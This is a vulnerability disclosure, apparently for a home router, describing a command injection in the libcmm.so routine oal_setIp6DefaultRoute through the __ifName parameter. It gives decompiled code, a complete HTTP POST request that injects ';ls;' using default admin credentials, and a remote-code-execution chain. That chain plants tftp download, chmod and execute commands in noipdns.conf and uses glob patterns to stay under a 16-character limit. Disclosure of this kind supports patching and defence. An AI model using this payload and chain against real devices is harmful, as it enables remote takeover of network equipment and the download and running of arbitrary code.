The Vulnerability

This vulnerability is discovered under the library module called libcmm.so, which processes parameters that are sent from the web server. These parameters are validated only under a request size of size 16 for the case of the __ifName argument, but at the character level there is no escapable character validation filter.

The vulnerable code segment can then be identified, which receives the parameters directly without being sanitized.

undefined4 oal_setIp6DefaultRoute(char *param_1,char *param_2)

{
  int iVar1;
  
  util_execSystem("oal_setIp6DefaultRoute","route -A inet6 del default");
  if (((*param_1 != '\\0') && (*param_2 != '\\0')) &&
     (iVar1 = strcmp(param_2,(char *)&DAT_000c0114), iVar1 != 0)) {
    util_execSystem("oal_setIp6DefaultRoute","route -A inet6 add default gw %s dev %s",param_2,
                    param_1);
    return 0;
  }
  util_execSystem("oal_setIp6DefaultRoute","echo 1 > /proc/sys/net/ipv6/conf/%s/sendrs ",param_1);
  sleep(1);
  return 0;
}

The vulnerable function is called from the object rsl_setL3Ip6ForwardingObj

undefined4 rsl_setL3Ip6ForwardingObj(undefined4 param_1,int param_2,int param_3)

{
  int iVar1;
  char *pcVar2;
  undefined4 uVar3;
  int iVar4;
  int iVar5;
  undefined auStack104 [32];
  undefined auStack72 [16];
  undefined2 local_38;
  undefined local_36;
  undefined auStack53 [37];
  
........
LAB_00064714:
  **oal_setIp6DefaultRoute(param_2 + 0x2a,param_2 + 2);**
  return 0;
}

We can test the command injection by sending the following payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 119
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;ls;
defaultConnectionService=

Captura de Pantalla 2022-01-03 a la(s) 10.51.27 a.m..png

The exploitation

Finally the steps for remote code execution should be as follows:

You can check that the commands have been properly saved at will.

/var/tmp/dconf # cat noipdns.conf
enable 1
username ;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.3
password ;chmod +x /var/tmp/dconf/s
domain ;./var/tmp/dconf/s
server dynupdate.no-ip.com

Now, since we have a character restriction and telling it in the command inject to read the configuration file /var/tmp/dconf/noipdns.conf will exceed the maximum allowed characters which is 16.

Captura de Pantalla 2022-01-03 a la(s) 10.50.04 a.m..png

You can then play with regular expressions in order to achieve this goal, see an example.

~ # ls */t*/d*/n*
var/tmp/dconf/noipdns.conf
~ #